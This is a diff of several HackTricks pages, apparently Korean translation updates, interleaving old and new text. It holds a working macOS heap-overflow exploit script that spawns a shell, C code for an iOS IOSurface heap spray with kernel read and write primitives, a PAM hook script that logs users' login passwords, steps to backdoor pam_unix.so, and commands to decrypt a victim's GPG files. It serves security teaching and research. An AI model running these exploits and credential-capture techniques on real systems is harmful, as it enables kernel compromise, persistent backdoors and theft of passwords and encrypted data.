log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
이 내용은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 포스트의 요약입니다. 추가적인 익스플로잇 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 확인할 수 있습니다.
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS의 사용자 프로세스에 대한 virtual memory address space는 **0x0 부터 0x8000000000**까지입니다. 그러나 이 주소들이 물리 메모리에 직접 매핑되는 것은 아닙니다. 대신 kernel은 page tables를 사용해 virtual addresses를 실제 physical addresses로 변환합니다.
#### Levels of Page Tables in iOS
Page tables는 계층적으로 세 단계로 구성됩니다:
1. **L1 Page Table (Level 1)**:
* 각 엔트리는 가상 메모리의 큰 범위를 나타냅니다.
* **0x1000000000 bytes**(256 GB)를 커버합니다.
2. **L2 Page Table (Level 2)**:
* 여기의 각 엔트리는 더 작은 가상 메모리 영역인 **0x2000000 bytes**(32 MB)를 나타냅니다.
* L1 엔트리는 전체 영역을 직접 매핑하지 못할 경우 L2 테이블을 가리킬 수 있습니다.
3. **L3 Page Table (Level 3)**:
* 가장 세밀한 레벨로, 각 엔트리는 하나의 **4 KB** 메모리 페이지를 매핑합니다.
* L2 엔트리는 더 세밀한 제어가 필요하면 L3 테이블을 가리킬 수 있습니다.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* 페이지 테이블의 일부 엔트리는 가상 주소 범위를 물리 주소의 연속 범위에 직접 매핑합니다(지름길과 유사).
* **Pointer to Child Page Table**:
* 더 세밀한 제어가 필요하면 한 레벨의 엔트리(예: L1)가 다음 레벨의 child page table(L2)을 가리킬 수 있습니다.
#### Example: Mapping a Virtual Address
예를 들어 가상 주소 **0x1000000000**에 접근하려고 하면:
1. **L1 Table**:
* 커널은 이 가상 주소에 해당하는 L1 page table 엔트리를 확인합니다. 해당 엔트리가 **L2 page table을 가리키면**, 그 L2 테이블로 이동합니다.
2. **L2 Table**:
* 커널은 더 상세한 매핑을 위해 L2 page table을 확인합니다. 이 엔트리가 **L3 page table을 가리키면**, 그곳으로 진행합니다.
3. **L3 Table**:
* 커널은 최종 L3 엔트리를 조회하여 실제 메모리 페이지의 **physical address**를 얻습니다.
#### Example of Address Mapping
만약 L2 테이블의 첫 인덱스에 물리 주소 **0x800004000**을 쓴다면:
* 가상 주소 **0x1000000000** ~ **0x1002000000**은 물리 주소 **0x800004000** ~ **0x802004000**에 매핑됩니다.
* 이는 L2 레벨의 **block mapping**입니다.
대신 L2 엔트리가 L3 테이블을 가리키면:
* 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 4 KB 페이지는 L3 테이블의 개별 엔트리로 매핑됩니다.
### Physical use-after-free
physical use-after-free (UAF)는 다음과 같은 경우 발생합니다:
1. 프로세스가 읽기/쓰기 가능한 메모리를 할당합니다.
2. page tables가 이 메모리를 프로세스가 접근할 수 있는 특정 physical address에 매핑하도록 업데이트됩니다.
3. 프로세스가 해당 메모리를 해제(free)합니다.
4. 그러나 버그로 인해 커널이 page tables에서 매핑을 제거하는 것을 잊어버리고, 해당 physical 메모리는 free로 표시됩니다.
5. 커널이 이 "해제된" physical 메모리를 다른 용도(예: kernel 데이터)로 재할당할 수 있습니다.
6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 physical 메모리를 읽고 쓸 수 있습니다.
이로 인해 프로세스는 kernel 메모리 페이지에 접근할 수 있게 되고, 민감한 데이터나 구조체를 포함할 수 있는 해당 메모리를 조작해 kernel 메모리를 조작할 수 있습니다.
### IOSurface Heap Spray
공격자는 어떤 특정한 kernel 페이지가 해제된 메모리에 할당될지 제어할 수 없기 때문에, heap spray라는 기법을 사용합니다:
1. 공격자는 kernel 메모리에 많은 수의 IOSurface 객체를 생성합니다.
2. 각 IOSurface 객체는 식별이 용이하도록 필드 중 하나에 magic value를 포함합니다.
3. 공격자는 해제된 페이지를 스캔하여 이 IOSurface 객체들이 해제된 페이지에 들어갔는지 확인합니다.
4. 해제된 페이지에서 IOSurface 객체를 발견하면 이를 이용해 kernel 메모리를 읽고 쓸 수 있습니다.
자세한 내용은 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인하세요.
> [!TIP]
> iOS 16+ (A12+) 디바이스는 physical UAF 기법의 효용을 크게 떨어뜨리는 하드웨어 완화책들을 도입했다는 점을 유의하세요.
> PPL은 code signing, entitlements, 및 민감한 kernel 데이터와 연관된 페이지에 대해 엄격한 MMU 보호를 적용하므로, 페이지가 재사용되더라도 userland나 손상된 kernel 코드에서 PPL로 보호된 페이지에 대한 쓰기는 차단됩니다.
> Secure Page Table Monitor (SPTM)는 PPL을 확장하여 page table 업데이트 자체를 강화합니다. 이는 특권 있는 kernel 코드조차 보안 검증을 거치지 않고 해제된 페이지를 은밀히 재매핑하거나 매핑을 조작하지 못하도록 보장합니다.
> KTRR (Kernel Text Read-Only Region)은 부팅 이후 커널 코드 섹션을 읽기 전용으로 고정합니다. 이는 runtime에서 커널 코드를 수정하는 것을 방지하여 physical UAF 익스플로잇이 자주 의존하는 주요 공격 벡터를 차단합니다.
> 또한 IOSurface 할당은 예측하기 어려워졌고 user-accessible 영역으로 매핑하기 더 힘들어져서 "magic value 스캔" 기법의 신뢰성이 크게 떨어졌습니다. 그리고 IOSurface는 이제 entitlements 및 sandbox 제한으로 보호됩니다.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: 공격자는 특수 식별자("magic value")를 가진 많은 IOSurface 객체를 생성합니다.
2. **Scan Freed Pages**: 해제된 페이지들 중 어떤 객체가 그 위에 할당되었는지를 확인합니다.
3. **Read/Write Kernel Memory**: IOSurface 객체의 필드를 조작하여 **arbitrary reads and writes**를 수행할 수 있게 됩니다. 이를 통해 다음을 수행할 수 있습니다:
* 한 필드를 사용해 kernel 메모리의 임의의 32-bit 값을 **읽습니다**.
* 다른 필드를 사용해 64-bit 값을 **씁니다**, 이를 통해 안정적인 **kernel read/write primitive**를 얻습니다.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
한 개의 해제된 물리 페이지에서 **`IOSurface`** 객체를 검색:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### IOSurface로 커널 읽기/쓰기 달성
커널 메모리의 IOSurface 객체(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨)를 제어하게 되면, 이를 이용해 **임의의 커널 읽기 및 쓰기 작업**을 수행할 수 있다.
**Key Fields in IOSurface**
IOSurface 객체에는 두 개의 중요한 필드가 있다:
1. **Use Count Pointer**: **32-bit read**를 허용한다.
2. **Indexed Timestamp Pointer**: **64-bit write**를 허용한다.
이 포인터들을 덮어써서 커널 메모리의 임의 주소로 리다이렉트하면, 읽기/쓰기 기능을 사용할 수 있다.
#### 32-Bit Kernel Read
읽기를 수행하려면:
1. 대상 주소에서 0x14 바이트 오프셋을 뺀 위치를 가리키도록 **use count pointer**를 덮어쓴다.
2. `get_use_count` 메서드를 사용해 해당 주소의 값을 읽어온다.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64비트 커널 쓰기
쓰기 수행하려면:
1. 대상 주소로 **인덱스된 타임스탬프 포인터**를 덮어씁니다.
2. 64비트 값을 쓰기 위해 `set_indexed_timestamp` 메서드를 사용합니다.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit 흐름 요약
1. **Trigger Physical Use-After-Free**: 해제된 페이지가 재사용 가능해집니다.
2. **Spray IOSurface Objects**: kernel 메모리에 고유한 "magic value"를 가진 많은 IOSurface 객체를 할당합니다.
3. **Identify Accessible IOSurface**: 제어 중인 해제된 페이지에 있는 IOSurface를 찾습니다.
4. **Abuse Use-After-Free**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **kernel read/write**를 가능하게 합니다.
이러한 primitives로 익스플로잇은 kernel 메모리에 대한 제어된 **32-bit reads** 및 **64-bit writes**를 제공합니다. 추가적인 jailbreak 단계는 더 안정적인 read/write primitives를 필요로 할 수 있으며, 이는 추가적인 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,22 @@
## Sniffing Logon Passwords with PAM
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해보자. PAM이 무엇인지 모르면 다음을 확인하라:
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모르면 확인하세요:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
**자세한 내용은 [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요.** 이것은 요약입니다:
**Technique Overview:**
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해준다. 로그인 프로세스를 맞춤화해 보안을 강화할 수 있으나, 오용될 경우 위험을 초래할 수 있다. 이 요약은 PAM을 사용해 로그인 자격증명을 수집하는 기법과 이에 대한 완화 전략을 개략적으로 설명한다.
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해줍니다. 로그인 과정을 맞춤화하여 보안을 향상시킬 수 있지만, 오용될 경우 위험을 초래할 수도 있습니다. 이 요약은 PAM을 사용해 로그인 자격 증명을 수집하는 기법과 함께 완화 방안을 개요합니다.
**Capturing Credentials:**
- `toomanysecrets.sh`라는 bash 스크립트를 작성하여 로그인 시도(날짜, 사용자 이름(`$PAM_USER`), 패스워드(stdin을 통해 수집), 원격 호스트 IP(`$PAM_RHOST`))를 `/var/log/toomanysecrets.log`에 기록한다.
- 해당 스크립트에 실행 권한을 부여한 뒤 `pam_exec.so` 모듈을 사용해 조용히 실행(run quietly)하고 인증 토큰을 스크립트에 노출(expose the authentication token)하도록 옵션을 설정해 PAM 구성(`common-auth`)에 통합한다.
- 이 접근법은 손상된 Linux 호스트를 이용해 자격증명을 은밀하게 기록할 수 있음을 보여준다.
- A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`.
- The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script.
- The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -32,32 +31,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. 다음은 요약입니다:
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. 이것은 요약입니다:
Pluggable Authentication Module (PAM)는 Linux에서 사용자 인증에 사용되는 시스템입니다. 이 시스템은 세 가지 주요 개념인 **username**, **password**, 및 **service**로 작동합니다. 각 서비스의 설정 파일은 `/etc/pam.d/` 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다.
Pluggable Authentication Module (PAM)은 Linux에서 사용자 인증에 사용되는 시스템입니다. 이것은 세 가지 주요 개념으로 동작합니다: **username**, **password**, 그리고 **service**. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다.
**Objective**: PAM을 수정하여 특정 비밀번호로 인증을 허용하고 실제 사용자 비밀번호를 우회하도록 합니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 중점을 둡니다.
**목표**: 실제 사용자 비밀번호를 우회하여 특정 비밀번호로 인증을 허용하도록 PAM을 수정하는 것입니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 초점을 맞춥니다.
### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- 비밀번호를 확인하는 책임이 있는 라인이 `pam_unix.so`를 호출합니다.
- The line responsible for checking a user's password calls `pam_unix.so`.
2. **Modify Source Code**:
- `pam_unix_auth.c` 소스 파일에 미리 정의된 비밀번호가 사용되면 접근을 허용하고, 그렇지 않으면 기존 인증 과정을 계속 진행하도록 하는 조건문을 추가합니다.
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- 사전 정의된 비밀번호로 로그인, ssh, sudo, su, screensaver 등 다양한 서비스에서 접근이 허용되며, 정상적인 인증 프로세스에는 영향을 주지 않습니다.
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
> 이 과정을 자동화하려면 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 를 사용하세요
## Decrypting GPG loot via homedir relocation
암호화된 `.gpg` 파일과 사용자의 `~/.gnupg` 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없는 경우, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG home으로 사용하면 됩니다.
암호화된 `.gpg` 파일과 사용자의 `~/.gnupg` 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없다면, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG homedir로 사용하세요.
이 작업을 하지 않을 때 보게 되는 일반적인 오류: "unsafe ownership on homedir", "failed to create temporary file", 또는 "decryption failed: No secret key" (GPG가 원본 homedir을 읽거나 쓸 수 없기 때문).
이 작업을 하지 않으면 보통 다음과 같은 오류가 발생합니다: "unsafe ownership on homedir", "failed to create temporary file", 또는 "decryption failed: No secret key" (이는 GPG가 원본 homedir를 읽거나 쓸 수 없기 때문입니다).
Workflow:
워크플로우:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
@ -70,10 +69,10 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
비밀 키 자료가 `private-keys-v1.d`에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제하고 복호화합니다(또는 키가 보호되어 있으면 묻습니다).
비밀 키 자료가 `private-keys-v1.d`에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제 및 복호화를 수행합니다(키가 보호되어 있으면 묻습니다).
## 참고자료
## References
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Android Applications Basics
이 페이지를 먼저 읽어 Android 보안 Android 애플리케이션에서 가장 위험한 구성요소와 관련된 **가장 중요한 부분들**에 대해 파악하는 것을 강력히 권장합니다:
이 페이지를 먼저 읽어 Android 보안 Android 애플리케이션에서 가장 위험한 구성 요소와 관련된 **가장 중요한 부분들**을 아는 것을 강력히 권장합니다:
{{#ref}}
@ -13,23 +13,24 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
도구는 에뮬레이터나 실제 Android 기기에 연결할 때 주로 사용하는 주요 도구입니다.
**ADB**는 컴퓨터에서 **USB** 또는 **Network**를 통해 기기를 제어할 수 있게 해줍니다. 이 유틸리티는 파일의 양방향 **복사**, 앱의 **설치****제거**, shell commands의 **실행**, 데이터 **백업**, 로그 **읽기** 등 다양한 기능을 제공합니다.
것은 에뮬레이션된 장치나 물리적 장치에 연결하는 데 필요한 주요 도구입니다.\
**ADB**를 사용하면 컴퓨터에서 **USB** 또는 **Network**를 통해 장치를 제어할 수 있습니다. 이 유틸리티는 파일 양방향 **복사**, 앱의 **설치****제거**, 셸 명령의 **실행**, 데이터의 **백업**, 로그의 **읽기** 등 다양한 기능을 제공합니다.
adb 사용법을 배우려면 다음 [**ADB Commands**](adb-commands.md) 목록을 살펴보세요.
다음 [**ADB Commands**](adb-commands.md) 목록을 확인하여 adb 사용법을 배우세요.
## Smali
때때로 **애플리케이션 코드를 수정**하여 **숨겨진 정보**(예: 잘 난독화된 비밀번호나 플래그)에 접근하는 것이 흥미로울 수 있습니다. 이 경우 apk를 디컴파일하고 코드를 수정한 다음 다시 컴파일하는 것이 유용할 수 있습니다. [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). 이는 동적 분석 중 여러 테스트에 대한 **대안**으로 매우 유용할 수 있으니, 항상 이 가능성을 염두에 두세요.
때때로 **애플리케이션 코드를 수정**하여 **숨겨진 정보**(예: 잘 난독화된 비밀번호나 플래그)에 접근하는 것이 유용할 수 있습니다. 이럴 때 apk를 디컴파일하고 코드를 수정한 뒤 다시 컴파일하는 것이 흥미로운 방법일 수 있습니다.\
[**이 튜토리얼에서** 새 기능을 위해 **APK를 디컴파일하고 Smali 코드를 수정한 뒤 APK를 리컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 이후 제시될 다이나믹 분석 중 여러 테스트에 대한 **대안**으로 매우 유용할 수 있습니다. 그러므로 **항상 이 가능성을 염두에 두세요**.
## Other interesting tricks
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Play Store에서 위치 스푸핑](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 디바이스에서 APK 추출:
- [Insecure In-App Update Mechanisms 악용](insecure-in-app-update-rce.md)
- [접근성 서비스 악용 (Android RAT)](accessibility-services-abuse.md)
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extract APK from device:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -62,38 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## 정적 분석
무엇보다도, APK를 분석할 때는 디컴파일러를 사용하여 **Java code**를 살펴봐야 합니다.\
[**다양한 사용 가능한 decompilers에 대한 정보를 보려면 여기 읽어보세요**](apk-decompilers.md).
무엇보다도, APK를 분석할 때는 decompiler를 사용하여 **Java 코드를 살펴봐야 합니다**.\
자세한 decompiler 정보는 [**여기**](apk-decompilers.md)를 참조하세요.
### 흥미로운 정보 찾기
APK의 **strings**를 살펴보면 **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** 등 흥미로운 항목들을 검색할 수 있습니다. 코드 실행 **backdoors**나 인증 backdoors(앱에 하드코딩된 admin credentials)도 찾아보세요.
APK의 **strings**만 살펴봐도 **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** 등 흥미로운 항목을 찾을 수 있습니다... 코드 실행을 위한 **backdoors**나 인증 backdoors(앱에 하드코딩된 admin 자격증명)도 확인하세요.
**Firebase**
**firebase URLs**에 특히 주의하고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇이고 이를 어떻게 악용하는지에 대한 자세한 정보는 여기를 참조하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**firebase URLs**에 특히 주의하고 잘못 구성되었는지 확인하세요. 자세한 내용과 Firebase를 악용하는 방법은 [여기](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)를 참조하세요.
### 애플리케이션 기본 이해 - Manifest.xml, strings.xml
### 기본적인 애플리케이션 이해 - Manifest.xml, strings.xml
애플리케이션의 _Manifest.xml_**_strings.xml_** 파일을 조사하면 잠재적 보안 취약점을 발견할 수 있습니다. 이러한 파일들은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
애플리케이션의 _Manifest.xml_**_strings.xml_** 파일을 검토하면 잠재적인 보안 취약점을 발견할 수 있습니다. 이 파일들은 decompiler로 접근하거나 APK 파일 확장자를 .zip으로 변경한 뒤 압축을 풀어 확인할 수 있습니다.
Manifest.xml에서 식별되는 취약점에는 다음이 포함됩니다:
Manifest.xml에서 확인되는 **취약점**에는 다음이 포함됩니다:
- **Debuggable Applications**: _Manifest.xml_ 파일에 `debuggable="true"`로 설정된 애플리케이션은 연결을 허용하여 악용될 수 있으므로 위험합니다. debuggable 애플리케이션을 찾고 악용하는 방법에 대해서는 관련 튜토리얼을 참조하세요.
- **Debuggable Applications**: _Manifest.xml_ 파일에 `debuggable="true"`로 설정된 애플리케이션은 연결을 허용해 악용될 가능성이 있으므로 위험합니다. 디버깅 가능 애플리케이션을 디바이스에서 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **Backup Settings**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 usb debugging이 활성화된 경우 adb를 통한 무단 데이터 백업을 방지해야 합니다.
- **Network Security**: _res/xml/_의 사용자 정의 네트워크 보안 설정(`android:networkSecurityConfig="@xml/network_security_config"`)은 certificate pinning이나 HTTP 트래픽 설정과 같은 보안 세부사항을 지정할 수 있습니다. 예로 특정 도메인에 대해 HTTP 트래픽을 허용하는 설정이 있습니다.
- **Exported Activities and Services**: 매니페스트에서 exported된 activity 및 service를 식별하면 오용될 수 있는 컴포넌트를 파악할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 컴포넌트를 악용하는 방법을 밝힐 수 있습니다.
- **Content Providers and FileProviders**: 노출된 content provider는 무단 접근이나 데이터 변경을 허용할 수 있습니다. FileProviders의 구성도 면밀히 검토해야 합니다.
- **Broadcast Receivers and URL Schemes**: 이러한 컴포넌트는 악용에 사용될 수 있으며, 특히 URL 스킴이 입력 취약성에 대해 어떻게 관리되는지 주의해야 합니다.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 오래된 취약한 Android 버전을 지원하지 않는 것이 중요함을 보여줍니다.
- **Network Security**: _res/xml/_의 커스텀 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 certificate pinning이나 HTTP 트래픽 허용 여부 같은 보안 세부사항을 지정할 수 있습니다. 예로 특정 도메인에 대해 HTTP 트래픽을 허용하는 설정이 있습니다.
- **Exported Activities and Services**: Manifest에서 exported된 activities와 services를 식별하면 오용될 수 있는 컴포넌트를 찾아낼 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 컴포넌트를 어떻게 악용할 수 있는지 파악하세요.
- **Content Providers and FileProviders**: 노출된 content provider는 무단 접근이나 데이터 변경을 허용할 수 있습니다. FileProvider의 구성도 면밀히 검토해야 합니다.
- **Broadcast Receivers and URL Schemes**: 이들 컴포넌트는 익스플로잇에 이용될 수 있으며, 특히 URL schemes가 입력 취약성에 대해 어떻게 처리되는지 주의해야 합니다.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 오래된 취약한 Android 버전을 지원하지 않도록 하는 것이 중요함을 보여줍니다.
**strings.xml** 파일에서는 API keys, custom schemas 및 기타 개발자 메모와 같은 민감한 정보가 발견될 수 있으므로 이러한 리소스를 주의 깊게 검토해야 합니다.
**strings.xml** 파일에서는 API keys, custom schemas, 기타 개발자 메모 등 민감한 정보를 발견할 수 있으므로 이러한 리소스를 신중히 검토해야 합니다.
### Tapjacking
